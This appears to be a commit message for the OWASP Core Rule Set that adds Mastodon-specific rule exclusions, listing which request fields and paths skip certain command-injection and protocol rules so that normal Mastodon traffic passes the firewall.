Core Rule Set: Mastodon's ordinary requests pass by default (closes #238)
check / check (push) Failing after 16m23s

Adds mastodon.conf, the twelfth change. On Mastodon's paths, the fields
that carry a search, a name, a title, an address or free text skip the four
rules that read them as commands or system files. These cover the API, the
admin and settings pages, sign-in, and the objects other servers deliver to
an inbox. A post's text skips 932125, 932230 and 932235 too. Uploaded file
names skip 932180, and an ActivityPub Accept header skips 920600 on account
paths. Only Mastodon's own resources under /api/v1/ and /admin/ count, since
gitea and Drupal serve those prefixes. The requests recorded from Mastodon
4.7.5 pass at the defaults and while bodies are read.
